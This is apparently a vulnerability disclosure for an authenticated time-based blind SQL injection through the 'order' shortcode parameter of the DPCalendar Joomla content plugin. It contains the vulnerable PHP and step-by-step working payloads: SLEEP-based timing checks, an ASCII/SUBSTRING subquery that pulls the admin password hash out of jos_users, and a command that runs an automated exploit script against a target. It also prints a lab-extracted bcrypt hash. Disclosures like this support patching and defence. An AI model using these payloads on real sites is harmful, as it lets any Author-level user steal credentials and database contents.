
SQL Injection via ORDER BY Shortcode in plg_content_dpcalendar — DPCalendar Free ≤ 10.11.2
DPCalendar Free ≤ 10.11.2 — Author-level User Extracts Full Database via Time-Based Blind Injection
The plg_content_dpcalendar content plugin parses {{#events order="..."}}{{/events}} shortcodes embedded in Joomla article bodies. The order parameter value is passed directly to , completely bypassing the model's own whitelist. The value is then inserted into an SQL clause protected only by — insufficient against subquery injection.
EventsModel::setState('list.ordering', ...)populateState()ORDER BYDatabaseDriver::escape()An Author-level user who can create or edit articles can exploit this to exfiltrate data from the database via time-based blind SQL injection. The SQLi fires inside the attacker's own article save request — no victim interaction, no published article, and no admin involvement required.
| COMPONENT | VULNERABLE | TESTED ON | FIXED |
|---|---|---|---|
| DPCalendar Free | 1.0.0 – 10.11.2 | Joomla 6.1.2 + DPCalendar 10.11.2 (MariaDB 10.6.27) | 10.12.0 |
Note: This vulnerability is distinct from CVE-2026-57831 (unauthenticated SQLi in
EventsModel.phpviafilter_created_by, fixed in v10.11.2). The present finding affects the content plugin (plg_content_dpcalendar) — a different file, different parameter, and was unpatched in the latest release at time of discovery.
Type: SQL Injection (CWE-89) — Time-Based Blind
Authentication required: Author role (can create/edit Joomla articles)
Endpoint: POST /index.php/submit-article?view=form&layout=edit
File: plg_content_dpcalendar/src/Extension/DPCalendar.php
The plugin's shortcode parser iterates over all key-value parameters in an {{#events}} tag and sets model state directly, bypassing populateState() whitelist validation entirely:
PLG_CONTENT_DPCALENDAR/SRC/EXTENSION/DPCALENDAR.PHP — VULNERABLE PARAMETER HANDLING
foreach ($params as $paramKey => $paramValue) {
switch ($paramKey) {
case 'order':
// VULNERABLE: sets ordering state directly from user input
// bypasses populateState() whitelist entirely
$model->setState('list.ordering', $paramValue);
break;
case 'orderdir':
$model->setState('list.direction', $paramValue);
break;
// ...
}
}
The tainted value flows into EventsModel::getListQuery() with only quote-escaping applied — insufficient to block subquery injection in an ORDER BY context:
COMPONENTS/COM_DPCALENDAR/SRC/MODEL/EVENTSMODEL.PHP:607 — ORDER BY CONSTRUCTION
$orderCol = $this->state->get('list.ordering', 'a.start_date');
$orderDirn = $this->state->get('list.direction', 'ASC');
// $db->escape() escapes quotes only — does NOT prevent subquery injection
$query->order($db->escape($orderCol) . ' ' . $db->escape($orderDirn));
A subquery such as (SELECT IF(ASCII(SUBSTRING(...))=36,SLEEP(5),0)) passes through $db->escape() unmodified because it contains no quote characters. The resulting SQL becomes:
ORDER BY (SELECT IF(ASCII(SUBSTRING((SELECT password FROM jos_users ORDER BY id LIMIT 1),1,1))=36,SLEEP(5),0))--
The ORDER BY expression is only evaluated when the result set is non-empty — requiring at least one published future DPCalendar event, the standard condition for any active DPCalendar installation.
Key behavior: The SQLi fires inside the save/edit POST request itself — the timing delay is observable directly in the HTTP response (303 redirect). The attacker measures their own POST response time; no article view, page reload, or publication step is required.
Prerequisites:
plg_content_dpcalendar plugin enabled (default on DPCalendar install)start_dateScenario: Time-based Blind SQLi → Extract Admin Credentials
The plugin sets filter.state = 1 and list.start-date = NOW() before building the query. ORDER BY subqueries only execute when the result set contains rows; if 0 rows match, SLEEP() is never called.

Authenticate to the Joomla frontend using an Author account. No admin access is required at any point in this attack.

Navigate to the frontend article submission form (/submit-article). Insert the following payload in the article body and click Save:
{{#events order="(SELECT IF(1=1,SLEEP(5),0))-- " limit="1"}}{{/events}}
The POST response itself is delayed ~5 seconds. onContentPrepare fires during the Joomla save pipeline, invoking the vulnerable query before the 303 redirect is issued. No article view or publication is needed.

Replace 1=1 with 1=2 (always false). SLEEP is not triggered and the response returns immediately (~100ms), confirming reliable timing separation.
{{#events order="(SELECT IF(1=2,SLEEP(5),0))-- " limit="1"}}{{/events}}

Use ASCII(SUBSTRING(...)) comparisons to read each character. Single quotes must be avoided (the shortcode regex [^"\']* stops at any quote character); use decimal ASCII values instead:
{{#events order="(SELECT IF(ASCII(SUBSTRING((SELECT password FROM joomla.jos_users ORDER BY id LIMIT 1),1,1))=36,SLEEP(5),0))-- " limit="1"}}{{/events}}
Response time ~5s → TRUE → char[1] = '$' (ASCII 36 — first character of a bcrypt $2y$10$... hash).

Run exploit/exploit.py to automate the byte-by-byte extraction loop:
python3 exploit/exploit.py http://TARGET
The script logs in as Author, submits crafted payloads, and extracts username, email, and the full 60-character bcrypt password hash. Lab result confirmed: admin / [email protected] / $2y$10$5hGoueEFCH1z3NXZT3aWj.RZQ7ebuRqe8xU/s56iZPidb2GX1NqoC.

| Condition | Response Time |
|---|---|
TRUE: ASCII(SUBSTR(password,1,1))=36 | ~5,000 ms |
FALSE: ASCII(SUBSTR(password,1,1))=65 | ~100 ms |
jos_users.password), session tokens, and user emails via time-based blind SQL injection.